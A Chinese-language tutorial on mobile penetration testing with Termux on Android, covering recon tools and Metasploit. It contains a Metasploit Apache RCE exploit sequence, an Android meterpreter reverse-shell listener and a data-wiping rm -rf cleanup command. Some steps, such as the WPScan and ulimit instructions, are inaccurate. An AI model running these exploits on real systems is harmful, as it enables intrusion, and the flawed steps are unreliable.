Termux 移动渗透测试实战手册

1. Termux入门:你的口袋里的渗透测试实验室

第一次听说Termux时,我正坐在咖啡馆里用手机刷技术论坛。当时我就在想:要是能把Kali Linux装进手机该多酷?没想到Termux真的让这个想法成真了。它本质上是一个Android终端模拟器,但远不止于此——通过它你可以在手机上运行完整的Linux环境,安装各种安全工具,把普通手机变成移动渗透测试平台。

与传统的虚拟机方案相比,Termux有几个明显优势。首先是便携性,你随时可以从口袋里掏出手机开始工作;其次是资源占用低,我的旧手机跑Kali虚拟机卡得要命,但Termux运行流畅;最重要的是它支持apt包管理,这意味着你可以像在Ubuntu上一样轻松安装各种工具。

不过要提醒的是,Termux默认不带root权限。有些高级功能确实需要root,但大多数基础操作完全可以在非root环境下完成。我建议新手先从非root模式开始,等熟悉了再考虑root的事。毕竟安全研究最重要的是思路和技能,而不是工具本身有多强大。

2. 环境搭建:从零开始的Termux配置

2.1 基础环境准备

安装Termux的第一步就让我踩了个坑——从第三方网站下载的版本总是闪退。后来发现F-Droid上的官方版本最稳定。安装完成后,第一件事永远是更新软件源:

pkg update && pkg upgrade

这个命令会更新软件包列表并升级所有已安装的包。我建议每次打开Termux都先跑一遍这个命令,保持环境最新。

接下来是基础工具链的安装。这些工具在后续操作中会频繁用到:

pkg install git curl wget nano vim

如果你像我一样经常需要编辑配置文件,强烈建议安装nano或vim。Termux自带的文本编辑器功能有限,而这两个工具能让你在手机上也能高效编辑代码。

2.2 存储权限配置

Termux默认只能访问自己的安装目录,要访问手机存储需要额外配置:

termux-setup-storage

执行后会弹出权限请求,同意后Termux就能访问手机存储了。这时会在home目录下创建storage目录,里面包含各种存储链接:

  • storage/downloads → 下载目录
  • storage/dcim → 相册
  • storage/shared → 整个存储空间

这个功能特别实用,比如你可以把扫描报告直接保存到下载目录,方便用其他应用查看。

3. 渗透测试工具全家桶

3.1 信息收集工具

信息收集是渗透测试的第一步,Termux上可以安装各种强大的侦查工具。我最常用的是ReconDog,它是一个多功能的侦查工具包:

pkg install python2 git git clone https://github.com/UltimateHackers/ReconDog.git cd ReconDog chmod +x dog.py python2 dog.py

运行后会显示一个交互式菜单,提供Whois查询、DNS查询、子域名扫描等功能。实测下来,它的反向IP查询特别有用,能快速发现同一服务器上的其他网站。

另一个必备工具是RED_HAWK,专为网站侦查设计:

pkg install php git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK php rhawk.php

它集成了CMS检测、敏感文件扫描、端口扫描等功能。我特别喜欢它的爬虫功能,能自动提取网站的所有链接和表单。

3.2 漏洞利用框架

Metasploit无疑是渗透测试的瑞士军刀。在Termux上安装它需要一些技巧:

pkg install unstable-repo pkg install metasploit cd $PREFIX/opt/metasploit-framework ./msfconsole

安装过程可能会比较慢,建议在WiFi环境下进行。第一次启动msfconsole时,它会初始化数据库,这可能需要几分钟。成功后你会看到标志性的msf>提示符。

一个小技巧:Termux上的Metasploit资源占用较大,长时间使用可能会导致手机发热。我通常会在不需要时用exit命令退出,或者直接关闭Termux会话。

4. 实战演练:从信息收集到漏洞利用

4.1 目标侦查案例

假设我们要测试一个网站的安全性,完整的侦查流程可能是这样的:

  1. 先用ReconDog进行基础信息收集:

    python2 dog.py

    选择"Website Recon"功能,输入目标域名,获取IP、DNS记录等信息。

  2. 使用RED_HAWK进行深度扫描:

    php rhawk.php

    重点关注它发现的敏感目录和文件,比如/admin、/backup等。

  3. 针对特定服务进行漏洞扫描。如果发现WordPress站点,可以用:

    pkg install python git clone https://github.com/wpscanteam/wpscan cd wpscan python wpscan.py --url 目标网站 --enumerate p

4.2 漏洞利用实例

发现目标运行着旧版Apache服务器后,我们可以尝试已知漏洞利用:

msfconsole use exploit/multi/http/apache_normalize_path_rce set RHOSTS 目标IP set RPORT 80 set TARGETURI / exploit

如果成功,我们会获得一个meterpreter会话。这时可以执行:

sysinfo getuid

获取系统信息。在Termux上操作meterpreter会话时,建议使用外接键盘,因为有些命令需要特殊按键组合。

5. 高级技巧与疑难排解

5.1 持久化与后台运行

Termux默认关闭后进程会被终止。要保持Metasploit监听会话,可以使用Termux的唤醒锁定和后台服务功能:

termux-wake-lock ./msfconsole -q -x "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit"

这样即使切换到其他应用,监听会话也会保持活动状态。记得用完后再执行:

termux-wake-unlock

释放唤醒锁以节省电量。

5.2 常见问题解决

  1. 软件包安装失败:首先尝试更新软件源pkg update,如果还是失败,可以清除缓存:

    pkg clean
  2. 内存不足:Termux默认只使用有限的内存。对于内存密集型任务,可以尝试:

    ulimit -Sv 500000

    这会临时增加内存限制。

  3. 终端显示异常:有时滚动会出问题,可以安装Termux的官方插件Termux:Styling来调整字体和配色。

6. 合法合规与最佳实践

在移动设备上进行渗透测试虽然方便,但也要特别注意合法性。我始终坚持三个原则:

  1. 只测试自己拥有或获得明确书面授权的系统
  2. 不在公共WiFi上进行敏感操作
  3. 测试完成后立即删除所有敏感数据

Termux环境的清理也很重要:

pkg list-installed | cut -d/ -f1 | xargs pkg uninstall rm -rf ~/*

这会卸载所有软件包并清除用户数据。对于root过的设备,还需要检查/system分区是否被修改过。